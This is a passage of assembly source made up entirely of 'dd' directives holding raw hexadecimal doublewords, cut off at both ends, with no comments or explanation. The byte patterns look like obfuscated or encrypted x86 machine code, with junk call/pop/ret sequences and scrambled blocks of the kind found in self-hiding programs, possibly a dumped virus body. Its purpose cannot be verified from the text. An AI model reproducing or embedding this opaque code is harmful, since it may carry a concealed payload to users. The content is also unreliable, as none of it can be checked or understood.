8C0FEBBAh, 6, 15619D8Bh, 965F061Eh dd 3408BB56h, 505F6E5Fh, 96FA8B66h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 29C35545h, 0C7E22422h, 0B7BF6660h dd 0F5BD8B2Bh, 61061E22h, 0A8C38056h, 27B5FF5Fh, 0F0621B0h dd 882h, 0BD335000h, 61E1479h, 3D95FF5Fh, 6A061E2Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0DBEFC357h, 0B3B3E47Fh, 9B002FD0h, 2A11B589h, 0B58B061Eh dd 621B01Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 41C35242h, 6E34CF81h, 9D8B1C7Fh, 61E3001h, 2A21858Bh dd 8B66061Eh, 6830FDEh, 8B000000h, 1E2BB1BDh, 0C4868906h dd 0F000000h, 583h, 0CF816600h, 8E8EF8Dh, 0C5000000h, 0DB9FC46Fh dd 0FE08E8Fh, 8Ch, 958B5F00h, 61E2375h, 95D9D8Bh, 0DF81061Eh dd 7797D6DAh, 6A04C283h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 77B2C357h, 528ACA36h dd 6880Fh, 0BD8B0000h, 61E0879h, 2050895Fh, 858D35B7h dd 621C4A4h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0FEC35040h, 0A9AA98E5h, 0DB8166DDh, 39BF6758h dd 0E914963Fh, 0Fh, 17482FA8h, 19BEA893h, 8C968471h, 8908678Eh dd 0B886h, 58D0F00h, 0BB000000h, 4D1B53B7h, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 16D1A5C3h, 335C9941h, 1E3175BDh, 27B5FF06h, 0F0621B0h dd 686h, 0DD9D0100h, 0FF061E01h, 1E32F995h, 0B5896006h dd 61E2CFDh, 174D8D8Bh, 9661061Eh, 19850Fh, 0E9570000h dd 12h, 2A4BA5DBh, 6CA8614Bh, 0C11C42C5h, 7E9BB8F0h, 505BCDB3h dd 5E9h, 26635200h, 6A96FAD5h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 3258C353h, 8919B677h dd 1E0061B5h, 27B5FF06h, 890621B0h, 1E308DB5h, 4995FF06h dd 6A061E30h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0A6BDC351h, 9D2B764Dh, 61E14E5h dd 0DB9BD83h, 0F00061Eh, 2D84h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0AE3ADAB4h dd 27B3B371h, 24348950h, 2E999D8Bh, 0B5FF061Eh, 621B027h dd 1F05BD89h, 95FF061Eh, 61E164Dh, 10D7F381h, 0B5FF020Ch dd 621B027h, 0C99D2960h, 8B061E2Ah, 1E0D39B5h, 95FF6106h dd 61E09DDh, 1E819D8Bh, 0BD83061Eh, 61E2BD9h, 2F840F02h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 4D78C357h, 0B590EA08h, 858B6208h dd 61E0E2Dh, 0F0000C6h, 85C7D9B7h, 61E1F81h, 0 dd 0FE8h, 777E7700h, 0E679C792h, 19922928h, 3C0C56DDh dd 6E956h, 17D40000h, 0F585C07Fh, 0A3E95B5Bh, 6AFFFFF3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 7FC7C355h, 0EF4E9D30h, 31C05924h, 1E12419Dh dd 0B9BD2906h, 8B061E2Fh, 952960C1h, 61E292Dh, 5DCFBF66h dd 8DD88B61h, 1E19DD85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 1A112A49h, 82D79BAFh dd 519D096Dh, 0E9061E2Ch, 13h, 3807483Fh, 7EF733F6h, 0BDABE3F7h dd 46A9D34h, 90C49FE7h, 7EBB5360h, 5A773F6Ah, 52505061h dd 310FFA8Bh, 60F28B60h, 585A6161h, 3513BF90h, 6A7F1Bh dd 8B66006Ah, 76858DDEh, 0F5062320h, 8105C083h, 0B3AC8ACBh dd 0DE8B9010h, 0B3525050h, 50310F12h, 0F525052h, 0F585A31h dd 0F525031h, 5A585A31h, 90585A58h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0DAC35242h, 0FD5FF3Bh, 687h dd 0D99D8B00h, 6A061E09h, 9006A00h, 1E0F19BDh, 0ED95FF06h dd 6A061E21h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0B42EC357h, 0F26A3BC7h, 8D4B5EB7h dd 2194B68Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1B04h, 0C3534300h, 54C4165Ah, 8CC5F8Eh, 0BCD38166h dd 6AD1FFA5h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 1ADC350h, 812F4EDDh, 0F29D77E7h dd 2870F66h, 8B000000h, 2DBD83F8h, 1061E27h, 48850Fh, 0BD8B0000h dd 61E1FD9h, 8A0F026Ah, 5, 429896BBh, 5250506Fh, 0F60310Fh dd 8Fh, 8BB86600h, 585A6138h, 0E9240489h, 0Fh, 21EB2073h dd 0A47ED2E7h, 0EEC307A9h, 0FFFB9D37h, 1E32F995h, 3ED0BF06h dd 52E92339h, 0E800000Ch, 0 dd 80ED815Dh, 6A062320h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 80B7C350h, 89BD8BA2h dd 0E9061E02h, 0Dh, 5339253Bh, 45DCB42Dh, 0C1BE2080h, 0FE858D82h dd 8B06218Dh, 1E193DBDh, 0DA8B6606h, 63B5BF90h, 0F505A68h dd 1385h, 0D840F00h, 0E8000000h, 7, 4AD0A8C5h, 5B5A4F76h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 35FF6484h, 0 dd 14850FF5h, 0E8000000h, 9, 1EAE518Fh, 0E0306CC5h, 4B97BF78h dd 645B4CBBh, 2589h, 8B660000h, 9185FFFAh, 89061E1Dh, 1E2F659Dh dd 6AFF6A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 3CA6C353h, 0FF222859h, 1E31B1B5h dd 959D8B06h, 0FF061E04h, 1E165595h, 10DE906h, 95290000h dd 61E0CE5h, 8D0F00B0h, 5, 54D38166h, 0DABF0FBFh, 0BD8B70E6h dd 61E2F55h, 0DA8B71E4h, 830F613Ch, 0E3h, 0FFEBF0Fh, 0BBC8B6h dd 0BA04E1DAh, 6, 0EF07BB66h, 800FC18Bh, 3, 0C1FB8B66h dd 0BD8B04E8h, 61E0E05h, 0E9E2F766h, 9, 7A730406h, 750A2184h dd 0E9C82B91h, 13h, 0B39DFF33h, 0A0ABC89Ah, 5D8BFEC5h dd 5DF4230Fh, 8BEECA32h, 0E9D98BD1h, 87h, 20458D89h, 858B061Eh dd 4947554Ch, 10E952h, 0AD260000h, 0C9ABEF1Bh, 3D768860h dd 176D8D1Fh, 835F2B5Eh, 8B6607C0h, 0C083DAh, 1A55BD8Bh dd 0D03B061Eh, 1E830Fh, 10E90000h, 74000000h, 8FB14B5Ah dd 9B656A04h, 3768A315h, 0E9986B67h, 33h, 0ECBEBB66h, 0FFFF8D8Bh dd 18B7FFFFh, 0F01E183h, 1E84h, 3834BB00h, 0A58378F4h dd 0FFFFFFFFh, 0CF8166FEh, 9589A821h, 4947554Ch, 0E984B3h dd 8D000000h, 229E08B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 8BB0FBB7h, 9D893F3Fh dd 61E0C45h, 32FDBD01h, 6A061Eh, 232D9589h, 6E9061Eh, 63000000h dd 512019DFh, 0C195FFD9h, 6A061E26h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 6FDC351h dd 45BD8B03h, 0B9061E32h, 107Dh, 10E8h, 5E7F3500h, 0DED69E83h dd 0D893476Ah, 0CE838EB0h, 0D8D29A4h, 5B061E02h, 6AFCE183h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 1155C355h, 0FCF88A13h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0E7C35242h, 0C02BC49Fh, 1D898D29h dd 2BF8061Eh, 8D2360D2h, 61E2A49h, 192D858Bh, 0AD61061Eh dd 0E8D1C233h, 0E983D003h, 51F47504h, 8B5BFA8Bh, 259D8BF9h dd 0D061E03h, 88h, 8BFA8B66h, 1E237595h, 8BD88A06h, 1E324D8Dh dd 0C6CB8106h, 501C3B68h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 6259A6C1h, 727DE0DBh, 0DE96031h dd 0C6000000h, 420B045Eh, 0E29EB7B2h, 0EC583849h, 232D9589h dd 0F61061Eh, 0B70FFAB7h, 59BD83F8h, 61E02h, 69840Fh, 0BD8B0000h dd 61E1FBDh, 0B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 2E7C34D6h, 8947D36Ch dd 1E333DB5h, 0B88D8D06h, 8B061E4Ch, 14E8D8h, 877D0000h dd 0C8F03105h, 8654FC81h, 1B4108FAh, 0F32EED43h, 0D381F05Ah dd 43FAB5Ah, 0E9E1FF5Fh, 7, 6DF2A97h, 8340ADDDh, 1E3169BDh dd 840F0006h, 3B6h, 2C91BD09h, 0BD83061Eh, 61E3169h, 0BE840F01h dd 0B7000003h, 69BD83CFh, 3061E31h, 379860Fh, 6E90000h dd 0D0000000h, 0F25D34FDh, 870F6080h, 3, 66FAB70Fh, 890FD98Ch dd 0Dh, 8E9h, 15FC5000h, 288D709Eh, 80F88B96h, 6A04E1h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 97537BC3h, 14E9h, 1AE92600h, 32B33517h, 0F4E938B0h dd 933B7E53h, 0BEB7524Ch, 0BD2960AEh, 61E1E49h, 0BE9h dd 1A48BC00h, 0FF1E4820h, 0E42A3A9Eh, 0FC90A61h, 11684h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0C8E699DBh, 943FFAA7h, 0CB817B32h, 30934BB9h dd 1A11858Bh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0EDE555C3h, 16519D23h, 8533061Eh dd 61E14BDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 55C35141h, 550CC57Eh, 90F64CD7h, 50FE8B66h, 69F5BF66h dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 7CA7DA7Bh, 6EAAD7D3h, 0FFBFD2CAh, 6A08D637h dd 418D8900h, 0F061E0Ch, 4E8DEBFh, 0FF000000h, 50001F03h dd 8BDE8B66h, 0E9042444h, 6, 40CAC4FCh, 8B7A54h, 0FE9h dd 1C5E4E00h, 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 4244489h dd 58DF8B66h, 144195FFh, 9509061Eh, 61E154Dh, 0B0278589h dd 81660621h, 0E905D9DBh, 194h, 8B8EC380h, 21B01F85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9D8B43DAh, 61E17B5h, 1800C7h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 4B0E06C3h dd 546EBB66h, 0B023B58Bh, 57510621h, 141BD8Bh, 5B5B061Eh dd 1CC9858Bh, 689061Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0CFC35646h, 11858B13h, 66061E1Ah, 0F245D781h dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 46D8C350h, 91216D9Fh, 0C497EF1h dd 0E38166F9h, 0F50833Ch, 1A87h, 0E9525000h, 0Bh, 1F813DD8h dd 0F6FF06E1h, 0F0D31B8h, 4BBB6631h, 89585A2Bh, 81662434h dd 0FFD025C7h, 21B01FB5h, 890FF506h, 0 dd 6DA32668h, 81DF8B70h, 0A0D92434h, 858D7072h, 621B027h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 7BC35545h dd 0AE078E6Ch, 89CD47B4h, 1E224D85h, 0BF665006h, 489EA88h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 0D68A0BACh, 7E9h, 0BA222F00h, 9BC6CF94h dd 144195FFh, 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0F14443C3h, 8D891DBBh, 61E26A9h dd 0BDBD8961h, 0C7061E00h, 1E316985h, 306h, 0AAC6BF00h dd 0BD835865h, 621B027h, 28840F00h, 0F000000h, 3BE9FBBFh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 88E8C352h, 50F8EC4Eh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 5D1912C3h, 13C51F05h, 8BF99F00h, 1E0EE5BDh, 69BD8306h dd 3061E31h, 414850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 835240C3h, 462EB6F2h dd 9759589h, 0BD83061Eh, 621B027h, 0DF840F00h, 29000003h dd 1E014185h, 27B5FF06h, 0E90621B0h, 0Dh, 77B6ADA3h, 0F4509BDAh dd 0A818F5C8h, 5595FF4Dh, 66061E15h, 8BFEE2BFh, 21B01BB5h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0B562FBF9h, 0A6BB1F62h, 0C7064AF8h, 1000106h dd 699D8B00h, 96061E2Dh, 0C850F60h, 0E9000000h, 7, 0C3BF6198h dd 0BA8DC2E6h, 1BEF54DEh, 8B665061h, 6A96D9h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 8F293FC3h dd 3EFD426Ch, 68C0FC5h, 81000000h, 0A94A16D3h, 27B5FF34h dd 6A0621B0h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 912EC350h, 3A4B9540h, 8652BF66h dd 2B3D95FFh, 0EF81061Eh, 6ED4AED5h, 17F18589h, 0B58B061Eh dd 621B01Bh, 21858BF9h, 6A061E2Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0EBEFC357h dd 0C649CF6h, 0B58960F5h, 61E25DDh, 196DBD8Bh, 0E961061Eh dd 0Ch, 96992BC5h, 0D032138Fh, 44DA8634h, 0C48689h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8A0F4FC3h, 6, 2B518D89h, 958B061Eh, 61E2375h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8FC35242h, 763D57FAh dd 0D08ABB58h, 0C2833170h, 79B58904h, 89061E33h, 6A2050h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 8B363DC3h, 1E1DE59Dh, 0A4858D06h, 0F0621C4h, 880FF8BFh dd 6, 2A058529h, 8689061Eh, 0B8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 3BC35646h, 0ADC4B5F4h, 70DF8001h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 286C5DC3h, 66FCEB7Fh, 0B5FFD98Bh, 621B027h dd 1F5DBD09h, 95FF061Eh, 61E32F9h, 50D88A96h, 2396FB8Bh dd 1E04CD9Dh, 27B5FF06h, 6A0621B0h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 9532C355h dd 0EEDABB05h, 95FF0433h, 61E3049h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 99C35545h, 0EF5FE744h, 83AFA6AFh dd 1E0DB9BDh, 840F0006h, 4Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 58C35646h, 0FB118D7Bh, 5E91Ah dd 6FEC0000h, 8BAD6905h, 1E1CDD9Dh, 0B3B75006h, 0E9243489h dd 11h, 697A3667h, 22BF7A14h, 9D8E62EAh, 30FDB44Ch, 27B5FF8Bh dd 520621B0h, 13519D8Bh, 0FF5F061Eh, 1E164D95h, 5E806h dd 802F0000h, 8BCE58EAh, 1E2F51BDh, 0B5FF5B06h, 621B027h dd 0A832BB66h, 9DD95FFh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 9ED0FCC3h, 605E0385h dd 0FE9h, 0D13D2800h, 9728549Eh, 0A9C94280h, 51C64572h dd 0D9BD8361h, 2061E2Bh, 44840Fh, 840F0000h, 0Bh, 0FA8B6660h dd 1D698509h, 8B61061Eh, 1E0E2D85h, 0C99D8B06h, 8B061E01h dd 0C6F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 38C35141h, 14659D8Bh, 85C7061Eh, 61E1F81h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A2C35646h dd 0FA8B66E1h, 2A51BD89h, 82E9061Eh, 89FFFFF4h, 1E04119Dh dd 1C18B06h, 1E16F59Dh, 11E806h, 87B80000h, 5B7CEF16h dd 8EB447C5h, 69908EFFh, 815F7102h, 0C778DCEEh, 81665B09h dd 814A29E1h, 5ACCC3h, 13E900h, 1B1D0000h, 6E69247Fh, 4736AA0Fh dd 59A5112Fh, 0E5202D67h, 0BF8Ah, 56B50000h, 0E91F34FFh dd 0Dh, 6CD383A9h, 62C8BB46h, 10A1E834h, 13E958B3h, 0EF000000h dd 197B8484h, 0FB9FA494h, 7CE9F098h, 1A20FC8Dh, 0F0813088h dd 8D25967h, 0CE58501h, 0C081061Eh, 4D40252Bh, 68B0Fh dd 0B58B0000h, 61E26F9h, 0A973C081h, 85011563h, 61E07B9h dd 0B63B0489h, 0EF81FCF9h, 160B679Fh, 2CD98D8Bh, 0C781061Eh dd 160B679Bh, 27118D8Bh, 0FF81061Eh, 0FFFFA61Ch, 13850Fh dd 0BD090000h, 61E3245h, 1DE9h, 2CFE2C00h, 1E3155Bh, 59958B3Bh dd 0E9061E0Dh, 0FFFFFF60h, 0BF37B0F7h, 25E35959h, 8D8D4311h dd 6232E2Dh, 2ECDBD09h, 0C881061Eh, 61C68800h, 23758D89h dd 9D29061Eh, 61E1609h, 324D85C7h, 5DA8061Eh, 85C70000h dd 61E3169h, 0 dd 2D11B5FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0FC6B2BC3h, 649F4766h, 0F759DE1h dd 4B0D9B7h, 16B995FFh, 6A061Eh, 26C195FFh, 0C08B061Eh dd 55394CEBh, 3542F4D2h, 0B85F5A70h, 5132FAD0h, 4839585Bh dd 37CF7F1h, 0E8327B87h, 0D59978FFh, 50524743h, 4DA4D2A5h dd 0B929317Ch, 0FEA30378h, 0B6A744D9h, 253485C9h, 0BF3B9A5Ch dd 5A7C60BDh, 52E613C3h, 5F9074F9h, 2D2635Eh, 8D8D080Ch dd 6232F12h, 8A0Fh, 8D890000h, 61E2375h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 0DFC35040h, 353CA2E8h dd 0C7E2EF80h, 1E324D85h, 741806h, 0D08B6600h, 316985C7h dd 61Eh, 24B30000h, 0FFD08B66h, 1E0EA9B5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 60DCE1D5h, 9E9h, 699C1100h, 61DCB056h, 95FF085Bh, 61E16B9h dd 6AD08B66h, 0C195FF00h, 8B061E26h, 6D5EEBC0h, 0D44EA00Eh dd 1565A4EAh, 767E14CDh, 31281E1Bh, 11A7459Dh, 29EAB36Dh dd 0A92332CCh, 0BBCA21C4h, 0A5AA9C3Ch, 40287764h, 564F2202h dd 0D593F24Eh, 0DDE311C5h, 0A9AFD8A8h, 0F5B9DCE8h, 8D8FBDFh dd 0D579240Fh, 402EA8A3h, 77B9BE48h, 0EAA558E7h, 0E55E098Bh dd 0EA86C438h, 0F9EC0A6Eh, 438D8DFEh, 0F062330h, 8D89D2B7h dd 61E2375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0A2C35545h, 324D85C7h, 5D9C061Eh, 9600000h, 1E09D9BDh dd 0D1816606h, 0C761571Ah, 1E316985h, 6, 5D9D8B00h, 0FF061E19h dd 1E327DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0EE59DA6Dh, 0B77CEBEDh, 0B995FF38h dd 6A061E16h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 861FC355h, 0FB18AE43h, 0F3AC373h dd 198Eh, 13890F00h, 0E9000000h, 0Eh, 444B1FCBh, 9AC61C39h dd 4732E6Dh, 5B51590Eh, 95FF006Ah, 61E26C1h, 0EEBC08Bh dd 0FC9B0645h, 352C0B6h, 78B14A3Dh, 2ADE9F4Bh, 46D4D471h dd 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh, 5AF19826h dd 72EF5E26h, 60338606h, 0E4FFB44Eh, 0A2F867A5h, 0BEA08614h dd 122B49A3h, 0BA796720h, 2DDDA9A3h, 62D71B20h, 33338615h dd 33831D29h, 0B6C09826h, 3585A840h, 6BD61576h, 63AFBB16h dd 3AE50DD9h, 64839E38h, 59359826h, 5B1F1523h, 634BBB16h dd 3FE1DABh, 0CC039E05h, 2DB77DB3h, 3C149320h, 336AA1A2h dd 5BB01526h, 639CBB16h, 334DAACEh, 0BEF6D826h, 1063F6A3h dd 0B624C820h, 35F7A84Eh, 8AFF6776h, 0B033860Dh, 0B61794E2h dd 356EA84Eh, 6B231576h, 6355BB16h, 3A980DD9h, 513D9E38h dd 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh, 33A69824h dd 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh, 3335B2CFh dd 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh, 33A9982Ch dd 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h, 0FB4EC3D9h dd 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h, 37A8517Fh dd 65881526h, 0BE9CBB16h, 107C13ABh, 932020h, 0FC780000h dd 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h, 8BB58DFFh dd 8D062331h, 2331AA8Dh, 83CF2B06h, 0C88B05E9h, 328F8D8Dh dd 6A0623h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 2E42EFC3h, 96952D5Ah, 23758D89h, 0BF0F061Eh dd 4D85C7D6h, 28061E32h, 6A000068h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 9EFC350h dd 5623512Ah, 0BD89E0BAh, 61E297Dh, 316985C7h, 61Eh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 0BAC01EC3h, 432854E8h, 0E5B5FFFCh, 6A061E32h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 7DE8C351h, 1D68D90Ah, 8CE381A5h, 8B60EA24h, 1E1B55B5h dd 0B995FF06h, 0E9061E16h, 0Ch, 0A36491CAh, 0B8AE2369h dd 114CE839h, 95FF006Ah, 61E26C1h, 7FEBC08Bh, 53F4E938h dd 4C933B7Eh, 0AEBEB752h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h dd 0BB8DD50Bh, 7CF37889h, 0A2C9F7Fh, 0F8DFFC92h, 0B794E22Bh dd 0B7788DC0h, 7FAB7544h, 0B6475734h, 38D2D1A9h, 0D22B881Bh dd 0FB1CBCFAh, 0FA312F67h, 2C75A799h, 8E5C5918h, 30DA8AB7h dd 0BEC4B06Eh, 32512B1Dh, 27EF4776h, 0E7D9B34Ah, 81F3EBDAh dd 7A3BB7F5h, 0D62A9CBCh, 5EEFE802h, 824AB473h, 9E79EA2h dd 0E8E23992h, 11h, 0D28985h, 2E724824h, 0F4BC92CAh, 0A60DB904h dd 91BD319Dh, 58061E09h, 55CF8166h, 0F5C08196h, 0F000066h dd 1389h, 7E800h, 0A2F40000h, 679504D0h, 5BD0999h, 5F061E02h dd 3AFB22BBh, 9EEB816Ah, 0F6A3AE1h, 30FFF1BFh, 32518D89h dd 815A061Eh, 0C5C2A2F2h, 5EDEBF29h, 0C28128F7h, 1413D00Fh dd 153CB966h, 383EEA81h, 8B5007A8h, 1E03618Dh, 89525F06h dd 1E3179BDh, 0FC008F06h, 7145E881h, 0CE87D88h, 97000000h dd 6A53A0A9h, 1A98357Ah, 805FECD0h, 8159E0C5h, 887141C0h dd 31B5337Dh, 81061E02h, 1EBh, 1E850F00h, 89000000h, 1E079185h dd 2BE906h, 77B90000h, 0EAA558E7h, 0E55E098Bh, 0EA86C438h dd 0F9EC0A6Eh, 3870FFEh, 0F000000h, 6BE9FBBFh, 5DFFFFFFh dd 0B4205619h, 0EDA0C361h, 75326BFDh, 755B6D65h, 2C78C234h dd 39D138F7h, 31D9B410h, 754C5C10h, 24192C34h, 0E8D1BBF7h dd 734609CDh, 5E3845BFh, 6B7317A1h, 4CC5E832h, 145EAE29h dd 6821E5B7h, 582A2Ah, 50E5953Dh, 755E151Fh, 26089C40h dd 76E002BFh, 0FC586130h, 6B5459B1h, 4FC5D532h, 8A5E0C98h dd 0F6004DE7h, 6B732E89h, 622C8532h, 76E09164h, 0FC586130h dd 6B5459B1h, 5CC5D532h, 8A5E0C9Dh, 1F004DE7h, 76B05D34h dd 55588534h, 0FC06016Ah, 0F45C4540h, 615C9470h, 33585834h dd 9D7DEF62h, 7558163Ah, 0FFE0C247h, 0EF26D5F1h, 8CBE7A01h dd 0FB579014h, 7558B034h, 2258326Fh, 75582FDCh, 0B6073634h dd 5124826Bh, 511C0430h, 7558D930h, 0B60F2634h, 9F2AD83h dd 0BAEA12F0h, 607DA11Fh, 0C0D1102Ah, 73460D7Dh, 753245BFh dd 755B2A67h, 2E786134h, 29D1EBF7h, 31D95C10h, 75452810h dd 261B1634h, 4419F5F7h, 0AD12D40h, 265F5C76h, 0BFC782B5h dd 130294B7h, 0F15780B8h, 75582C35h, 7A5CBEC8h, 755BB3B0h dd 0F6A00E34h, 6B478B89h, 0F1576132h, 7558B00Ch, 53A9DDBDh dd 0EBB12A2Ah, 1F581637h, 76B05D34h, 55588534h, 0FC06016Ah dd 0F45C4540h, 695C9470h, 33585834h, 8470EF62h, 7CEC1EE3h dd 8DB3F685h, 31B90464h, 2F317988h, 757F618Ah, 30730B36h dd 0F0D5446Fh, 73794797h, 45DD9BBFh, 0A5A70D2Ah, 61A538BFh dd 0B5DDC42Ah, 75FAE53Bh, 7532B034h, 755BB067h, 2E782C34h dd 29D14DF7h, 31D90F10h, 754E8110h, 261BC234h, 89E38F7h dd 6B9D2D35h, 4DD95E2Ah, 8ED94A63h, 7560933Bh, 0F0D10B34h dd 73469289h, 71204352h, 0F1576336h, 7558B328h, 9D08585Eh dd 75582C37h, 2D9B4E14h, 717C4FBDh, 717CC1B5h, 7558C22Dh dd 599B3174h dd 0E1596284h, 0ACD93ED8h, 0F43ED0D4h, 7A388A0Ch, 755824B1h dd 54C58634h, 0F55EDC05h, 7AB0634Ch, 7558AFB1h, 1334EE34h dd 755E54B5h, 64DD199Fh, 0FC580B34h, 6B7E5CA9h, 779A2B32h dd 0E0D36134h, 7346A9F5h, 7459588Ah, 0ABE72372h, 1EFB93B9h dd 75320D15h, 755B6D63h, 2A78C234h, 9D13EF7h, 31D9B410h dd 75425C10h, 221F2C34h, 39C598F7h, 0FE68F680h, 7B9908BFh dd 0A5A7C42Ah, 9D0D615Eh, 7558B037h, 289B0514h, 717C40BDh dd 717C52B5h, 75580B29h, 0B69BD071h, 24863D6Ah, 0BC35163Bh dd 48D53BD6h, 0F05E4631h, 4BDC23F4h, 0C7581636h, 13608A8Eh dd 7A5A8709h, 75588BB1h, 22580B34h, 7558B3DCh, 0B6077834h dd 5124A56Bh, 511C9730h, 75581C30h, 0B60FC234h, 635E549Ah dd 311396B5h, 0B6E7DD04h, 7A2D8161h, 75582AB5h, 70CD2534h dd 0F45E1536h, 483E834Ch, 0F157B86Bh, 75586334h, 5B2135BDh dd 0F43E5E2Ah, 7A38B00Ch, 755893B1h, 64D10434h, 9D588534h dd 7558C23Fh, 0C37D97B6h, 883FD94Bh, 2C2C5185h, 9D5A54B4h dd 753C933Bh, 75320B34h, 755B6D62h, 2B78C234h, 1D13FF7h dd 31D9B410h, 754E5C10h, 231E2C34h, 505CF6F7h, 7559893Bh dd 13AD8534h, 755EBAB5h, 46DD6EF4h, 1F58B034h, 76B00F34h dd 55582C34h, 0FC07D56Bh, 0F45C2F48h, 605CA170h, 3258C234h dd 0DE20A263h, 61213DBFh, 